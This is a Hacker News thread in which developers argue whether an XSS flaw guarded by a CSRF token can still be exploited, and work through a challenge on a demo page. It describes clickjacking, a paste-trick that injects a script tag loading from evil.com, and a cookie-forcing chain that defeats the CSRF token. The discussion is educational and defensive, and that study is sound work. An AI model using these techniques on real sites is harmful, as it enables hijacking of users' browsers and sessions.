Hacker News Reader

Comment by tripzilch | Hacker News Reader

If the arbitrary JS is specified by a specially crafted URL or form POST, you can make the JS execute in someone else's browser as easily as getting someone to click on a very innocent-looking link.

And as soon as you can get someone to execute arbitrary JS on a particular domain, any CSRF protection will be useless because you practically control their browser. (You can even literally control their browser, if you use BeEF http://www.bindshell.net/tools/beef.html )

You can even completely hide the XSS happening by loading it into an invisible IFRAME, while the main page keeps the victim's attention occupied by playing the promised video of a cute kitten playing with a ball of string.

View on HN

Could you demonstrate that for me please?

Here's a simple little page that is vulnerable to XSS but not to CSRF:

http://brlewis.com/demo/xss-csrf.html

It works by GET or POST, so it should only take you a minute to craft a link that you can post right here in HN that makes that page pop an alert up in my browser.

Ooh, that's a good one. When I said that, I wasn't thinking about the CSRF token being required with the XSS-able form. So yeah, that partially mitigates the problem.

It can still be done, however. But it'll take more than a few minutes, because I have only read about and played with PoCs of the relevant attacks, never implemented one like that myself.

One approach is "clickjacking". It involves putting your page in an IFRAME that is 100% alpha transparent, in a containing page. This is positioned over an image that says "CLICK TO PLAY" (or something) in such a way that the (invisible) button on your page aligns with the image. When you click the image, you're actually clicking the button on your site. Javascript in the containing page monitors when this happens and when it does, it can read the CSRF token from the URL that the IFRAME now points to. Once it knows the token, the XSS attack is straightforward.

Now this only works because your form submits the CSRF token via a GET request, so I can read it from the URL. If your form would only accept a POST request, I'm not entirely sure of how I'd do it. I need to think about that for a little while longer, it's an interesting challenge, though. There are some (IMO) far-fetched clickjacking-like attacks that require some social engineering (of the containing page) to get the user to perform certain actions that could do it. One way is to wrap a viewsource: URL to your page in an IFRAME (only works in Firefox, afaik) and position and dress it up so that only the CSRF token is visible and it looks like a CAPTCHA. The user would enter the CAPTCHA/CSRF and then XSS is possible. But that's not very elegant, and I'm not entirely sure if Firefox still allows doing this. Also it's not guaranteed to succeed if the user can't be bothered to enter a CAPTCHA to see the cute kitten video.

So in that case I'm not sure. One surefire way to prevent these and related clickjacking-style attacks is to put some framebusting JS code in your site. Twitter does this to prevent clickjacking to autosubmit a those pre-filled tweet form. Check their sourcecode, the way they do it is pretty thorough (even taking into account race conditions that might cause the submit click to go through just before the frame is busted).

I'm going to have to think about this for a while (how to do it if it were a POST form, that is. I'm fairly sure I could get the GET variant to work easily--I hope you could follow that example). The way you put a CSRF token in that form definitely makes it non-trivial, though.

(BTW for anyone else to attempt a shot at this: the CSRF token is not actually the same value every time, but random generated and fixed with the session cookie, so clear your cookies before you try your brilliant exploit)

I don't think the particular clickjacking attack you suggest would work - you cannot read document.location on an iframe if that iframe has a different origin.

However, a variant of the later attack you describe would work. You could get the user to click on a flash app on your page, which copies <script src="http://evil.com/script.js /> to your clipboard, then "click on the box below and press ctrl-v, then enter.". The box below would of course be the one on the XSSable page, and when the user hit enter, it would submit the form and load up the second page, XSSing the user.

This sounds far-fetched, but I've seen successful attacks like this in the wild.

> I don't think the particular clickjacking attack you suggest would work - you cannot read document.location on an iframe if that iframe has a different origin.

Ok--I wondered about that. But I figured BeEF has that capability so it must be possible somehow. At least, as far as I understand BeEF loads the page in a fullscreen IFRAME controlling the browser from the containing page. Guess I was wrong.

No other way to pull it off? Cause the token is right there in the URL, it's gotta be leaked somewhere ... :-)

I'm not that familiar with BeEF, but it is possible to set the location on child iframes, just not get it.

It also looks like BeEF is running on your local machine, so they could presumably do whatever they want to bypass the browser's security model.

This should work: http://mkjon.es/xss.html (note that your server seems to hang if I put "<script>" in the GET params, but assuming that works and thus the page is vulnerable to XSS like you intended, then this works). Just pretend the <img /> tag is a script tag.

Of course, this is kind of cheating - I exploit the fact that there's a CSRF bug on your web site. But that's kind of the point - just saying "oh well this is an XSS but it doesn't matter because this other unrelated thing prevents it" is bad security. It's entirely possible, even likely, that someone will come along at a later date and change that other seemingly-unrelated thing, having no idea that they're introducing a security hole in the process.

Cool! I'll look into the CSRF bug. EDIT: Using a vulnerability in another demo page definitely is cheating. But I do like the hack.

To be clear, "oh well this is an XSS but it doesn't matter" is not something I ever said. I only ever said that most of the screenshots in the article don't by themselves demonstrate a vulnerability on Apple's web sites.

EDIT 2: There was another demo on my server that let you set arbitrary cookies. This exploit relied on setting the JSESSIONID cookie. If a similar exploit existed on Apple's web site, presumably this would defeat the purpose of the exploit, since the target user would no longer be authenticated as him/herself. I changed the cookie demo not to allow arbitrary cookie names, just to prevent it interfering with other demos.

Sorry, didn't mean to put words in your mouth. I just wanted to point out that even when it seems like an XSS doesn't demonstrate a vulnerability, some of your assumptions may be wrong and it actually does.

Security is hard, let's go shopping!

Then I think we agree: These examples might or might not be vulnerabilities, though from appearances two of them seem very likely to be.

Maybe next time you can leave the bug in there and just copy the demos to a new set with the fixes? Because I'd like to have seen how this worked, except it no longer works :)

Oh, sorry. Basically he had another endpoint that let you set an arbitrary cookie to an arbitrary value (with no csrf protection).

So first I had it hit that endpoint, setting the JSESSIONID cookie to my value (off of which the csrf token is keyed). Then I had it redirect to an xss'd page with my csrf token, which it would see as valid because it matched the (forced) JSESSIONID.

> To be clear, "oh well this is an XSS but it doesn't matter" is not something I ever said. I only ever said that most of the screenshots in the article don't by themselves demonstrate a vulnerability on Apple's web sites.

True, they may require some clever hacking to really exploit.

But experience has shown me that (way) more often than not, even though an XSS might not be directly exploitable, there will be further (perhaps not so critical) security problems that will lead to an exploit, given an at-first-sight-not-so-exploitable XSS.

So it's always a better idea to make sure the XSS is not there in the first place, because if someone figures out a way to leverage it, they'll have full control over a visitor's browser on that domain.

Maybe the innocent flaw that allows the exploit isn't even there yet at first, but gets added accidentally with later development. It's still the XSS that is the most critical problem.

It however would be odd for GET requests to contain anti-CSRF token. In such case, users cannot pass any links that have any parameters and the session-specific token to others. This seems completely defeat the purpose of GET requests.

Both of those attacks fail if the page protects itself against CSRF: http://en.wikipedia.org/wiki/Cross-site_request_forgery#Prev...

You can initiate an XSS attack without making any cross site requests. Being able to launch a CSRF attack, is not a prerequisite for being able to launch an XSS attack. It does help though.

If I didn't know that, my original post would have said that all the Apple pages would be invulnerable if they prevented CSRF. I think the expresslane page is one where data could go in the database and others could see it.

CSRF is not a prereq in general, but it is a prereq for the attacks tripzilch listed.

A simple example: you can pass a link to someone and have some javascript that submits form for them without them knowing.

Reply on news.ycombinator.com